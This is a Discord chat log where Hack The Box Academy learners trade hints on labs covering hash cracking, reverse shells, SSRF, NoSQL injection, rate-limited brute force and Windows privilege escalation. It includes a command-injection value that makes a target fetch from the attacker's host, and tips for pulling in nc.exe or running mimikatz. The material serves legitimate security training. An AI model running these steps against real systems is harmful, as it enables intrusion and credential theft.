modules

[zinc marsh]

they are like the guided mode

[rustic sage]

oh ya i know but its a ctf

[zinc marsh]

wouldn't have more sense ask in the thm server?

[proud pine]

Regardless, tryhackme has a discord for questions.

[rustic sage]

i got muted

[rustic sage]

i know

[thorn urchin]

why

[zinc marsh]

make sense

I had u blocked for any reason

[proud pine]

[thorn urchin]

was it for asking in locations you werent supposed to be asking in? like asking thm questions in htb module chat?

[rustic sage]

xd no idea

[zinc marsh]

"no idea"

[thorn urchin]

doubt

[fathom pendant]

A mod probably told him why or he just simply didn't read rules

¯_(ツ)_/¯

[raven locust]

considering the quality of his messages i presume he might genuinely not know

[rustic sage]

what about you are talking

[zinc marsh]

I had him blocked and I don't remember why lol

[rustic sage]

because you dont like me

[zinc marsh]

I think he was the only person I have blocked

[thorn urchin]

this is still offtopic and you havnt gotten the hint yet @rustic sage

verify your account with #welcome and access the rest of the discord

[rustic sage]

i got it by An00bRektn

[thorn urchin]

then maybe someone will help in a more relevant channel

[rustic sage]

give me a example

[fathom pendant]

[raven locust]

oh my god

[thorn urchin]

theres no example to give, these are instructions

[zinc marsh]

yea now I understand why

[thorn urchin]

cause right now youre just spamming this channel

[fathom pendant]

Read #welcome

[raven locust]

you need to verify your hackthebox account so that you can get access to the rest of the discord's channels & ask your question in a more suitable channel

[fathom pendant]

#welcome contains the information we are trying to give you

It helps to understand a server if you read its #welcome channel

[zinc marsh]

he joined the server 3 months ago

[rustic sage]

ill later im busy all day

[rustic sage]

i did already ????

[zinc marsh]

not busy to talk shits

[raven locust]

https://tenor.com/bz72N.gif

[fathom pendant]

No you didn't, otherwise you would know what we're talking about on how to verify

At least ask in #1024429874246590575 as that's the only other channel you'll have access to until you verify, following the instructions in #welcome

[rustic sage]

i know how to verify but i didint verify it and i have readed

[rustic sage]

i know

[fathom pendant]

If you know then do it

[rustic sage]

not rn im busy

[raven locust]

ahaha

[fathom pendant]

Then go do what you're busy with and stop chatting here

[zinc marsh]

now I know why I had him blocked

time to block him again

[rustic sage]

i do already

[shut wraith]

If you do already then do what you didnt do so you don't have to do it already

[rustic sage]

hm

[shut wraith]

U get my drift?

[rustic sage]

who knows

life is hard

[thorn urchin]

again youre offtopic

this isnt a chatting channel

[rustic sage]

because im always high

[thorn urchin]

<@&861185840277487616>

[rustic sage]

i didint broke the rules

that's such a lie for me

[thorn urchin]

spamming, and posting intoxicated

[rare topaz]

read thru his history, bro is either genuinely having trouble with english and google translating everything or high on weed

[novel matrix]

Can we please keep this channel on topic

[tight mesa]

hello guys any help would be appreciate it, I ran this command, sudo john-the-ripper.keepass2john L||xxxxx.xxxx|| > logins.hash and when run this other John command john --wordlist=~/Documents/HTB/Academy/PasswordAttack/mut_password.list logins.hash always receive this error message No password hashes loaded (see FAQ)

[zinc marsh]

wth

I mean where is the kdbx file xd

u just have to run keepass2john file.kdbx > file.hash

john file.hash --wordlist=/path/to/wordlist

[tight mesa]

hm let me try it

[tight mesa]

is locally in my pc

[supple sparrow]

need sanity check for last question on Active Directory - DCSync

[mild cypress]

Just finished https://academy.hackthebox.com/module/158/section/1441

That said, during the module I was having issues finding the other hosts as I moved through things. The previous modules suggest using a one-liner for powershell (posted below) to enumerate - but it was giving me false negatives. Was hoping someone might be able to point me in the right direction for what I should have been doing there:

1..254 | % {"172.16.6.$($_): $(Test-Connection -count 1 -comp 172.15..$($_) -quiet)"}

[tidal mango]

I would imagine you fail a sanity test if your that far along 🙂 but... do you have a question on it?

[supple sparrow]

I think I retrieved the hash for the last question but HTB doesn't seem to accept it

[tidal mango]

what section is it in which module?

[supple sparrow]

Active Directory Enumeration & Attacks - DCSync

[tidal mango]

ok, I got you I think. submit the last part after : not the whole hash

[supple sparrow]

you saved my day

[tidal mango]

I have been there... glad to help.

[trail leaf]

I have also gotten false negatives with this in the past, I don’t really have any other suggestions other than trying more than one tool/one-liner

Check the arp table, write your own portscanner to run from Windows, etc.

[mild cypress]

Yeah, that's what I ended up doing. I was just curious if it's known to be inconsistent, and if there's a reason why (timeouts or something) that I'm not aware of. Thanks for the advice though @trail leaf - always appreciated 🙏

[trail leaf]

If you think through the parts of the one liner, you’re basically sending a single ping packet to each target and checking if you get a response back

Sometimes hosts are configured to not respond to ping, other times the connection is just unstable

[tight mesa]

@zinc marsh can I DM?

cuz your suggestion gave me the same results

[zinc marsh]

send the command

[tight mesa]

I'm being not able to crack the file password with john or hashcat even

[tight mesa]

well with keepass2john file.kdbx > file.hash I'm extracting the Hash but, when try to crack it is the issue

hashcat -m 13400 -a 0 logins.hash ~/Documents/HTB/Academy/PasswordAttack/mut_password.list

I got [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q & if I choose [c] | [f] or [q] the password shown is not working

let me replicate the issue with john

[zinc marsh]

not sure if u kidding me

[tight mesa]

no man, I'm not kidding you, why I'd kidding you?

[tidal mango]

what section are you working on?/Module?

[tight mesa]

Lab Hard | Password Attacks

[zinc marsh]

john file.hash --wordlist=/path/to/wordlist

[zinc marsh]

.

and u don't need to touch anything in hashcat

[tight mesa]

$ keepass2john Logins.kdbx > logins.hash
$ cat logins.hash
Logins:$keepass$2600000048f742ba4e....SNIP....d9a764d7b5d4e3610e1a021be2f2f1018523c065
$ /usr/sbin/john logins.hash --wordlist=~/Documents/HTB/Academy/PasswordAttack/mut_password.list
No password hashes loaded (see FAQ)

[zinc marsh]

that are the options of the menu while cracking

[tidal mango]

did you try john --wordlist=~/Documents/HTB/Academy/PasswordAttack/mut_password.list logins.hash

[tight mesa]

yup

same result

[tidal mango]

how did you create the hash file? that command should work fine

[tight mesa]

keepass2john Logins.kdbx > logins.hash

[supple patio]

Can you show the response when you didn't type anything?

I mean not "q" or "f" etc

[tight mesa]

ok.

give me couple of sec I'm trying to replicate eveything from a Kali VM that I have

[tidal mango]

well if I use ubuntu I get the same error, but in Kali it works fine

[tight mesa]

is not going anywhere

[supple patio]

It didn't complete

[tight mesa]

that's what I today tought

[fathom pendant]

Just wait

[supple patio]

Did you try to do it in pwnbox?

[fathom pendant]

Also -S isn't needed

[tight mesa]

in a couple of minutes my computer will be landing off..... LoL

[supple patio]

You have to wait

[tight mesa]

not yet, I will trying

[fathom pendant]

Have you tried also using john

[tight mesa]

yup

[fathom pendant]

Keepass2john. Then John hash --wordlist

¯_(ツ)_/¯

I had no issues with it tbh

Following that line *

[tight mesa]

I will be start with a clean slate

[supple patio]

Mb you didn't download that .kdbx file correctly

It also may be the reason, idk

[tight mesa]

hmm could be

[plain coral]

Password Attacks
Credential Hunting in Linux
Examine the target and find out the password of the user Will. Then, submit the password as the answer.

1. I gained initial access via SSH using Kira's account after altering the password as indicated in the hint.
2. I located a directory containing the files passwd.bak and shadow.bak.
3. I successfully transferred one of the files to my attack host using the command cat passwd.bak | base64 -w 0; echo and subsequently decoded its contents.
4. However, I encountered difficulties while attempting to transfer shadow.bak. Is it essential to have this file to proceed with cracking the hash?

I would greatly appreciate a hint. Thank you.

[trail leaf]

shadow is the important one, passwd is if you want to be extra and have a nice unshadowed file

[fathom pendant]

^

[plain coral]

Yeah thanks, was just having issues trying to transfer it, any ideas?

[hexed void]

is it normal for me to only be able to post in the HTB: Academy section?

[tight mesa]

ok., was downloaded correctly and just waiting hashcat cracked the password, I'm a fuxxing desperate, ty y'all

[trail leaf]

try literally any other method if base64 is being troublesome for you

HTTP, SMB, FTP, SCP, etc.

DNS why not

[tidal mango]

glad you got iot! I could never get hashcat to work with it, kept getting salt errors

[tight mesa]

well hashcat works in my pc unfortunately john doesn't

[fathom pendant]

Damn that's rough

[manic bramble]

where can we discuss about the boxes?

[digital pewter]

Newly released boxes have their own channel. For older ones, #boxes.

[trail leaf]

you'll have to verify first though, instructions in #welcome

[manic bramble]

okay thanks!

[fringe shell]

Has anyone done the Web Attacks assessment and available for a DM? I've made it into the admin account and know the vector to the flag, but no matter my payload, the server just hangs.

[paper gust]

if you are still having issues with john/hashcat, feel free to ping me

though in your screenshot, hashcat appears to be working fine

the issue with* john could just be a format detection issue

[fathom pendant]

If they used keepass2john , the generated hash should work

[paper gust]

yeah, it looks like it was just unhappy loading it automatically

specifying the format would probably pick it up or at least expose any underlying issues

like an outdated version would just give "invalid format" or similar

[fathom pendant]

It just looks like their command was off

[paper gust]

so then we'd know its an issue with john vs with the hash

yeah, could be that too

[digital pewter]

Try it without the XML declaration (version, encoding, etc.)

[fringe shell]

Yeah, i've managed to try that one. I can declare just a string entity and reference it in the payload and get an output. But as soon as I add SYSTEM and try to read a file, the request just times out

[digital pewter]

DM is probably better. Feel free.

[foggy brook]

Can anyone who has done the attacking common services module (DNS) DM me? I am desperate

[fathom pendant]

Are you specifying the ip.

[novel shoal]

hello bro can you help me more about passphrase or password for bitlocker?

[fathom pendant]

bitlocker2john iirc

[novel shoal]

so the command will be
bitlocker2john Backup.vhd > hash do i understand correct?

[fathom pendant]

Something like that yeah

[tidal mango]

I know its beena bit, do you need help still?

[fathom pendant]

I recommend naming your hashes when you do that kinda thing

[novel shoal]

thank you very much bro

[full drum]

Hey i'm doing the module "Windows Priv Escalation" and i'm on the page "DnsAdmins", i've completed the steps to add myself to the domain admin group, and have logged in and logged out, and run gpupdate /force. I'm still unable to get into the Admin folder for the flag, or run any of the RegEdit commands to clean up. Any help here would be much appreciated.

[cunning prairie]

you can DM me.

[full drum]

Thanks i'll DM you

[woven copper]

Hi there, anyone can help with Introduction to NoSQL Injection , skill assessment 2, I just found a username but no idea which endpoint , /reset, /forgot or /login its vulnerable
I though its login because its the only one that where i can generate 500 errors using NoSQLi payloads.
thanks an advance

[acoustic owl]

Look closely at the answer. Pay attention to the dot

[rugged veldt]

has there been any news about the completion of the SOC analyst path?

i know a new box was added yesterday, just curious to see if there are any updates

[empty gyro]

Someone has done intranet database penetration, I can't solve it, please advise

[woven copper]

Hi i identify that can inyect some Time-base payload and efectily cause a delay on the application but what structure of the query should i use to make boolean questions

[empty gyro]

I need it too, can I message you privately?

[acoustic owl]

Think about what data you want to have. You have found the vulnerable field

[woven copper]

can i dm you?

[tidal mango]

I dont have notes on that section, yet... so it would better to just ask you question here in case someone can help as well.

[acoustic owl]

sure

[empty gyro]

thanks i will try hard

[rustic sage]

Is there one for sql I’m new to htb

[woven copper]

there are a lot , from beginners to advanced

[rustic sage]

Okay

[tough fern]

Hi there, anyone can help with Introduction to NoSQL Injection , skill assessment 2, I just found a username but no idea which endpoint , /reset, /forgot or /login its vulnerable
I though its login because its the only one that where i can generate 500 errors using NoSQLi payloads.
thanks an advance

[soft reef]

Whats betters, starting with Bug Bounty Hunter path or Penetration Tester path?

[acoustic owl]

Look closely at the answer. Pay attention to the dot

[acoustic owl]

#cpts message

[umbral fulcrum]

hey guys
did some 1 had issues with "ICMP Tunneling with SOCKS" ??

[torpid haven]

In the server side attacks ssrf section for question "Replicate what you learned in this section to gain code execution on the spawned target, then look for the flag in the root directory and submit the contents as your answer." why can't we just do "curl -i -s http://10.129.212.247/load?q=file:///flag.txt"?

[umbral fulcrum]

thank U

[maiden hatch]

yo is anybody here like really good at hacking

?

bc i need somebody to take down a roblox game its pretty small

[warm drift]

ask roblox discord

[maiden hatch]

hell nah

ill get banned

[proud pine]

You'll get banned here.

[balmy rivet]

Bro has free robux link in nio....

[dapper flax]

Hey guys, i'm following the withebox attack and i"m doing the protoype pollution part , i need to run the web server locally using node index.js but when i try to send request i got not response from the server

[balmy rivet]

what's the output in terminal after running node index.js?

[dapper flax]

I can't paste it wtf

[balmy rivet]

maybe screenshot?

[dapper flax]

yeah i can't either

[vital adder]

@balmy rivet @dapper flax read #welcome and #rules after that use /verify at #bot-commands to send screenshot here

[balmy rivet]

thx

[shut wraith]

Hi my name is Oracle
This module is overkill

I cant see my scroll bar
Read a hundred pages so far

I listen on port 1521
And I'm here to have fun

In order for me to see
I need to brute the SID

And you already know that
I will be using ODAT

To upload a shell
Does that ring any bell

WOOOORDD YOOO

https://tenor.com/view/rap-battle-supa-hot-fire-im-not-a-rapper-amazed-wow-gif-16881818

[latent sigil]

Bro just dropped a rap

[vital adder]

did chatgpt write that? 🤣

[shut wraith]

When something is too boring

U just make a rap about it

[balmy rivet]

Where is the producer tag?

hmm

[torpid haven]

In the server side attacks ssrf section for question "Replicate what you learned in this section to gain code execution on the spawned target, then look for the flag in the root directory and submit the contents as your answer." why can't we just do "curl -i -s http://10.129.212.247/load?q=file:///flag.txt"?

[fresh compass]

Hi! I'm having trouble to complete the module Pivoting, Tunneling, and Port Forwarding, section RDP and SOCKS Tunneling with SocksOverRDP

I added the dll and then I'm trying to connect through rdp but I get this message

any help please?

[empty gyro]

Who can tell me what to do if I cannot access the intranet server during intranet penetration

i know it's stupid i'm a newbie

[acoustic owl]

ask the administrator of the intranet server

[acoustic owl]

Have you turned off the Real Time Protection?

[fresh compass]

yes

I couldn add the dll file otherwise

[civic zenith]

EDIT: Nvm got it!

[sudden flax]

hello i'm new and i learn linux fundamental 1 question uname -a easy 2. pwd easy 3. wtf: What is the path to the htb-student's mail? i don't know comment to this task

[livid pier]

Where is the mail kept on a linux system?

[sudden flax]

@livid pier I don't see it described in the module

[livid pier]

https://www.systranbox.com/where-is-mailbox-file-linux/

[sudden flax]

on youtube guy use cd, cd is next page

[livid pier]

cd is a command to change your current directory

[rustic sage]

can i dm someone for Broken Authentication --> Brute Forcing Cookies

[sudden flax]

uuu

it is hard xd thanks

[livid pier]

you get it?

But yes, this is all hard at first

then after you do it for a while, its still hard

[shut wraith]

The Footprinting module made my ports notes HUGE

[livid pier]

I think its one of the best mods

I use something from it all the time

[sudden flax]

i know key so answer will be in /usr

htb-student but to get there

[livid pier]

Not quite

to get to var you can do

cd /var

[sudden flax]

ls /var/mail

i find mail

[livid pier]

nice, anything in there?

[sudden flax]

no

but i have to write /var/mail/htb-student

[shut wraith]

I think today is the day

[livid pier]

🎉

[shut wraith]

I'm finally gonna finish the Footprinting module

[sudden flax]

They should show examples of each command in use in the tutorial xd

4 next hard question xd

5 and 6 question easy 4 is hard xd

something about shh ?

Which shell is specified for the htb-student user?

[sudden flax]

dude commend env op

[livid pier]

you dont have to put the answers in chat

[sudden flax]

ok

[pearl flint]

guys im on module pass attacks section linux pass the ticket

can someone help me understand how chisel and proxy works i dont get it.

also when i set up the whole thing i cant connect from target to my attacks host smb share

[livid pier]

Chisel and proxy are tools used for creating network tunnel

[pearl flint]

ok i got that but it forwards everything that target recieves to me or?

every port is forwarded or ?

[dapper flax]

Hey i'm trying to do the privesc whitebox prototype pollution module , i'm following everything , used burpsuite to send to payload but its not polluting anything

[verbal kraken]

hey, in the broken authentication module "Brute Forcing usernames" section. how am i supposed to solve the last exercise with automation?

i got the answer but i tried every username by hand since the list wasnt long

just wondering how should i automate this process

i tried hydra but couldn't get it to work

[narrow solar]

good day friends, i am at Web attacks chaining idor , i am trying to write a script to enumerate all users, but the curl give me rubbished output, how to fix that

[leaden pond]

I'm trying to establish a reverse shell from a Windows machine (target) back to my Pwnbox. I RDPed into the target and launched PowerShell. Back on the Pwnbox, I started a netcat listener on port 443. Then I looked at the "Reverse Shell Cheat Sheet" and saw three payloads I can put into PowerShell to get a reverse shell (the second of those three is recommended in the module section on reverse shells). When I execute the first payload, PowerShell just closes and I don't see any activity back on the PwnBox. The second payload gives me some parse errors (error messages mention expected and unexpected closing brackets/parentheses), and the third payload doesn't work either. I copied and pasted each payload directly into PowerShell and then modified the listening IP address and port number to match my netcat listener on PwnBox. What should I try next?

[tidal mango]

I am not sure what your dealing with, but https://www.revshells.com/ has some great shells to try. I have good luck using the PowerShell #3 (base64) on windows boxes.

[livid pier]

Anyone finish dececting windows attacks with splunk, detecting golden tickets section?

[leaden pond]

Epic! That worked perfectly. Popped the shell. That's a great resource. I really appreciate it.

[tidal mango]

Great! Glad it helped. Yeah bookmark that page, it is a great resource for sure.

[tidal mango]

That does not ring a bell, which module is it on?

[tidal mango]

ohhh, I have not done that one yet. Good luck!

[livid pier]

@vital adder I found it when you emojied

[vital adder]

yea congratz on competing the new module and best of luck on your SOC Analyst path

[acoustic owl]

I'm really excited to see what other modules are released in this SOC path.

[tranquil axle]

Do other hands on blue team certs exist? What does an exam on such a cert look like? Are you getting locked up for 7 days in a network and have to stop CPTS exam takers from finishing their exam and whoever finishes their goal gets the cert and the other one doesn’t?

[proud pine]

Pretty sure no certs exist that are PvP yet.

[tranquil axle]

I’d be funny, but extremely unfair and not at all comparable between attempts

[acoustic owl]

https://www.securityblue.team/why-btl1

https://www.offsec.com/courses/soc-200/

https://www.eccouncil.org/train-certify/certified-soc-analyst-csa/

[tranquil axle]

24h realistic incident response exam lab sounds interesting... so many fun sounding things in this security field. Does HTB have boxes like that beyond the forensic challenge ones?

[acoustic owl]

Yes, but unfortunately only for business accounts
https://www.hackthebox.com/blog/htb-sherlocks-dedicated-labs

I really hope that these labs will be made available to the community as well.

[tranquil axle]

meh, oh well, I hope it opens up with the new cert to offer more training ground

[acoustic owl]

Yes, I desperately need some experience before I jump into this exam

[shut wraith]

** Footprinting Lab - Easy**
Question:
Enumerate the server carefully and find the flag.txt file. Submit the contents of this file as the answer.

1. Performed Nmap and found following services:

22 OpenSSH 8.2p1 Ubuntu
53 domain
2121 ProFTPD Server```
2. Connected to FTP server using provided creds
upon any command other than pwd, I get this response:
```229 Entering Extended Passive Mode (|||11591|)
150 Opening ASCII mode data connection for file list
226 Transfer complete```
So I cannot traverse or retrieve data from the ftp server...
3. Tried to connect to SSH service but I this error:
```Permission denied (publickey)```
I know that I must use either the FTP or DNS servers to retrieve the private SSH key to connect to SSH and retrieve the flag. However, I need some help regarding my errors or how I can enumerate the FTP or DNS services better.

Thank you in advance for any help.

[acoustic owl]

Read the sections in the module again. There you will learn everything you need to enumerate DNS or FTP.

[shut wraith]

I enumerated according to the sections but I found nothing. Here is the command and output for DNS enumeration which I left out by mistake:
dnsenum --dnsserver $IP --enum -p 0 -s 0 -o found_subdomains.txt -f /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt dev.inlanefreight.htb

ns.inlanefreight.htb.                    604800   IN    A        10.129.34.136

Is there a specific thing I'm missing?

[barren apex]

Any one able to give me a hint for:
AD Enumeration & Attacks - Skills Assessment Part I
Q5, trying to get the clear text creds, cant seem to find them

[acoustic owl]

What exactly is DNS for?

[leaden pond]

I'm working on "Automating Shells and Payloads with Metasploit" in the Shells and Payloads module. I use the same metasploit module mentioned in the HTB module and use the credentials provided by the question. I get a meterpreter session and then type "shell" as recommended in the module to get a session with more features. I'm supposed to find a Documents folder, but I can't find one. I also assumed that Metasploit would log me in as the user whose credentials I provided, but it didn't. I can't figure out how to get a session as that particular user. Any tips?

[acoustic owl]

||CME|| is your friend 😉

[barren apex]

have tried using it, but will give it another go

[fiery berry]

anyone on "Windows Priv Esc ->Attacking the OS-> UAC"? I'm not getting any connection back when running SystemPropertiesAdvanced.exe when the right ".dll" is placed in the PATH where my user has write privileges. Did anyone experienced the same behaviours?

[barren apex]

Anyone know how to fix mimikatz module not found when trying to run through CME?

[acoustic owl]

Mimikatz works as far as I know only with this version
mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
newer versions do not work.

||CME or lazagne should work||

[barren apex]

The second one was not working so attempted to move to the first and getting the error.

[acoustic owl]

If the dll is in the right place and named correctly, then it should work.

[acoustic owl]

Send me the command per DM you used.

[barren apex]

Gotta head out now. So will give another go when I get a chance else will do 👍

[fresh compass]

Anyone who has finished the Pivoting, Tunneling and Port forwarding module can help please? I'm stuck

I following the steps as said in the section but it fails when trying to connect from windows to rdp

[acoustic owl]

Is the target not reachable or are the creds wrong?
I remember that I had to use the US VPN servers so that the creds were accepted.

[fiery berry]

it is in the right place and copy and paste for the name. I'm wondering if the firewall is in between since connection on port 443 doesn't work but checking the rules in outbound is all open. I'll reset the machine just in case

[fresh compass]

The target is not reachable

I have tried from my kali machine and nothing

[acoustic owl]

Then your tunnel is not built properly.

[fresh compass]

And now I am trying from the pwnbox and it doesn't work either

[acoustic owl]

Try port 53
This port is in most cases open to the outside 😉

[shut wraith]

DNS servers are like bookshelves of phone books with names and IPs

Would really appreciate some help sir

[acoustic owl]

and why exactly are you looking for files in it?

But these other ports....
These are FILE transfer protocols.

[shut wraith]

Im just trying to enumerate everything that is available to me

[acoustic owl]

😉

[shut wraith]

But as you can see when i try to access the file transfer protocols i get the errors shown above

😉

[upbeat dragon]

Hello Guys, i'm struggling with Password Attack Hard lab. After succesfully mounting the .vhd file, what should I do next? i''m so stuck!!

[acoustic owl]

I do not see any error messages

[shut wraith]

150 Opening ASCII mode data connection for file list
226 Transfer complete```
This

[acoustic owl]

Take a look at the contents of this backup.
Backups usually contain exciting files.
Files that are locked during operation can be accessed this way.

[acoustic owl]

Why is this an error message?
I don't see what exactly you did, nor do I see what the output is.
Send me a printscreen via dm

[shut wraith]

Thank u I will send u it soon

[upbeat dragon]

I found a SAM and SYSTEM file but dunno what to do next.. It is encrypted also?

[short gulch]

"Attacking ColdFusion" Does this have some connection issues? Even with timeout with 520seconds I still cant load the page or execute script

[trail leaf]

Anything in the skills assessment was likely covered in the module, go back and look through it

[acoustic owl]

On the Foothold PC
What does this command show you?

C:\Users\b-student\Desktop\SocksOverRDP-x64>netstat -antb | findstr 1080

[trail leaf]

They ported the retired box Arctic to Academy for that one, and it’s extremely slow

[sturdy pelican]

can someone help me with the password attacks module hard lab? i am trying to brute force the services avaible and according to the forum i am on the right path but after 2 hours i still have nothing

[acoustic owl]

Maybe a wrong list?

[sturdy pelican]

i am using the list created in the first steps of the module

[acoustic owl]

That should be correct.

[sturdy pelican]

the one with all the mutated passwords

[fiery berry]

I'm always on the point to test the connection with the srrstr.dll and the test connection works. Then I have to exit from rev shell received since I have to run the SystemPropertiesAdvanced.exe which in turns will search for the paths where the malicious dll is stored. Tried to use other binaries that may do the same like SystemPropertiesProtection.exe but nothing...

[upbeat dragon]

Oh wow, got the hashes, thanks @trail leaf and @acoustic owl

[acoustic owl]

If your test connection works, it should also work with the malicious dll.

[fiery berry]

well it doesn't 😂

[acoustic owl]

Send me a DM how you created the dll and the rest of the commands

[fresh compass]

I’m not there yet so it wont be correct

Can dm you?

[acoustic owl]

sure

[verbal kraken]

hey, in the broken authentication room, "brute forcing passwords" https://academy.hackthebox.com/module/80/section/777. in the exercise there seems to be a rate limit which i cant seem to figure out work around it

i try hydra but its giving me false positives

would appreciate some help

-38 seconds?

[tender acorn]

i havit to it need to be a bug

reatart the maschine

[verbal kraken]

can you help me with this

i cant solve it

dm?

[tender acorn]

test with burp a lot of diferett passwords to find out the rules

like:

qwerty

[verbal kraken]

i think i found the rule already

[tender acorn]

Quwerty

[verbal kraken]

i just cant get past the rate limit

[tender acorn]

min max lang and more test more

2. use grep to filter the rockyou.txt (100%)

[verbal kraken]

i already did this

how do i brute force with this stupid rate limit that is my question?

[tender acorn]

when you not know how grep work google or chatgbt for this he is your frand

in burp you can set a timing

wait a take a screan shot

[verbal kraken]

j

[tender acorn]

reastart the module

[verbal kraken]

i did

[short gulch]

It just doesnt work at all.

[tender acorn]

when you use burp

you can use in the includer a request pool

set the time on that what the side says

youst do a few wrong logins not how manny needet and how long the wait time is

@verbal kraken

[verbal kraken]

i dont understand

i found it

but i wrote each password by hand

how shouldve i done it?

this room is frustrating

all of its exercises are frustrating

i need some help please

[acoustic owl]

Find out how many login attempts are allowed and then how long you have to wait.
Then use Burp or write a Python script which executes the bruteforce attack

[verbal kraken]

how would i be using burp?

i figured both those things out

[acoustic owl]

#modules message

[verbal kraken]

this would be sending a request every 5 seconds for example?

how do i set this up?

[pine dagger]

You can use any tool that lets you insert a time delay between tries. I did that one with wfuzz because you can give wfuzz the param -s 10 to delay 10 seconds between each try.

[verbal kraken]

is there a way i can send for example 5 requests then wait 30 seconds then send them again?

im sorry if im being annoying

[acoustic owl]

yes, with python

[pine dagger]

Yes. In Burp its super easy. You Just need to do some research: https://gprivate.com/66a0r

You want Resource Pools under Intruder

[sturdy pelican]

can someone dm me to give me a hint for the password for J?

[pine dagger]

J what?

[zinc marsh]

hint: try harder

[sturdy pelican]

well i cant make cme run faster so i cant try harder

[zinc marsh]

well I cannot guess what module are u on

[sturdy pelican]

oh sorry forgot to mention i was talking here earlier, im on the hard lab for password attacks

[zinc marsh]

hydra

mutated

well u can use cme but is slower

[sturdy pelican]

i have tried hydra and cme for the past 3 hours and still nothing

[zinc marsh]

what port

[sturdy pelican]

winrm for cme and rdp for hydra

[pine dagger]

Try smarter! Try harder! 🎵 Harder, better, faster, smarter! 🎵

[zinc marsh]

u doing something wrong

and u will need a windows vm as well for this lab

[pine dagger]

I don't think you need a VM for it

But you need to make sure you're using a mutated password list using the provided custom rule

I bruteforced it with cme using smb

[zinc marsh]

I couldn't mount the kdbx in kali

I think payloadbunny was able

[pine dagger]

Worked fine in pwnbox

[zinc marsh]

ah well I don't use pwnbox

[sturdy pelican]

i am using the right wordlist but after going through all the 55 thousand words it still did not find the right pasword

[thorn urchin]

no you dont

Ive not used a windows VM in the entirety of CPTS

[thorn urchin]

Did you do the thing were you cut the first odd amount of lines to make one of the earlier sections go by faster 🙂

[pine dagger]

I couldnt remember if that was for that one

[fathom pendant]

Its for like all of them tbh

[thorn urchin]

It isnt, but people will use the same list and then wonder why they cant get the answer 😉

[pine dagger]

Hrm

[fathom pendant]

But yeah

The right mutated password list anyway is like 96k lines

[pine dagger]

its definitely smaller 😄

but still massive

[fathom pendant]

So even taking out 17k is in the 70k range

So 55k just seems like used the wrong lists

[thorn urchin]

Point is, use the fresh full mut list for the lab

[fathom pendant]

^

[pine dagger]

🎵 Harder, better, faster, smarter! 🎵

[thorn urchin]

Ive seen that mistake like 5 times here

[pine dagger]

heh, if you search for 17000 its mentioned 65 times

[sturdy pelican]

nope i figured it out. i appears that i only had half of the passwords i should have after creating the mutated list, after recreating it it worked

[thorn urchin]

😉

[zinc marsh]

[sturdy pelican]

that mistake wasted 3 hours of my time

[thorn urchin]

Like I said, pretty common mistake

[sturdy pelican]

anyways thanks for the help

[flint chasm]

Hi All,
I got a problem with Splunk - Discovery & Enumeration
It's not working on port 8000 and 8089
Idk how to run this to check the version
Am I doing something wrong or maybe machine need more time?

[fossil crescent]

How long did you wait? It can def take a bit of time for it to load up and the port to be opened...

[flint chasm]

3 min?
main website is working but on those ports "The connection was reset"

nmap also show me those ports

but don't know why it's not working

[fossil crescent]

I'd try restarting the lab then... I've def had cases where things just didn't work, but if you've already done that (esp if multiple times)... then sorry, out of ideas

[sturdy pelican]

https://academy.hackthebox.com/achievement/684384/147
finaly

[flint chasm]

thanks for help mate

[urban valley]

for Windows Privilege Escalation Skill Assesment 1, I'm having trouble getting a reverse shell on the web app. I've|| set up netcat on my kali and I've tried various commands on the webapp line to connect back to the NC (wget, curl) (commands ive used for example: 127.0.0.1 && powershell -c 'curl http://<my tun0>:1234/' I also tried to transfer Invoke-PowershellTCP onto the target but || none seem to work

[undone narwhal]

There are a lot of ways to get a shell but easy on would be trying ||iex|| and ||wget||

[urban valley]

can i dm you?

[undone narwhal]

Sure

[proven nimbus]

So I am struggling on this module: https://academy.hackthebox.com/course/preview/windows-event-logs--finding-evil

Is there anything else I can look at for help? I can't even get past the 1st set of questions. Maybe I am not underatanding something. Thank you.

[cunning prairie]

i usually go with uploading nc.exe via certutil and avoid using powershell imo.

[tight mesa]

hello 1 qq, under Password Attack module | Lab Hard skill assessment, anyone know why the xfreerdp or Remmina not works with the credentials found in the keepass but, does work with smbclient ..!!!

[sly kelp]

Try to see what is in smb.

[tight mesa]

I found the smb content but, I was wondering why the creds not works with xfreerdp or Remmina

[sly kelp]

Because maybe they are not designed to work with that

[trail leaf]

Not all users that have access to SMB are guaranteed access to RDP and vice versa

[tight mesa]

hmm ok., understood, ty y'all

someone who rocks with Linux..?, to DM

[sly kelp]

What do you mean. ?

[tight mesa]

I'm having this issue with Linux, I made every suggestion found on the web with no success....

[sly kelp]

Send me a dm with issue and little details

[tight mesa]

python2.7 : Depends: python2.7-minimal (= 2.7.18-13ubuntu1.1) but it is not going to be installed E: Unmet dependencies. Try 'apt --fix-broken install' with no packages (or specify a solution).

[fossil crescent]

Did you try running
sudo apt --fix-broken install, and if so, what was the result?

[fossil crescent]

Is it that you can't get your web shell, or you can't get anything onto the box? What shows up on your web log? Does your victim hit your machine?

[tight mesa]

this is the result:
dpkg: error processing archive /var/cache/apt/archives/python2.7-minimal_2.7.18-13ubuntu1.1_amd64.deb (--unpack):
new python2.7-minimal package pre-installation script subprocess returned error exit status 1
Errors were encountered while processing:
/var/cache/apt/archives/python2.7-minimal_2.7.18-13ubuntu1.1_amd64.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)

[fossil crescent]

Based on that, beyond my level of knowledge... I will say that Python2 is highly deprecated... if I were in your shoes, I might look to try and get the script to work in Python3, look for something else, or install an OLD VM that had Python2 support on it... I'd also look into trying to setup a Python virtual environment... Note: I'm sure there's a better/easier/faster way, but those are all literally things I've done because of Python2 being deprecated

[tight mesa]

@fossil crescent I know Python2 is deprecated but the .py john's scripts unfortunately run in python2.7

[fossil crescent]

You could also try removing (sudo apt-get remove python2.7 [or something along those lines -- can't remember the exact syntax]) and then try reinstalling

[tight mesa]

that's exactly what I'm trying

[umbral umbra]

In the Getting Started module - Nibbles Privilege Escalation section, I have gotten all the way to where I am trying to run ||monitor.sh|| with the modified code. Every time I try this (after the chmod command listed), it just spits out an error saying:
||ome/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found||
||/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found||
||/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found||
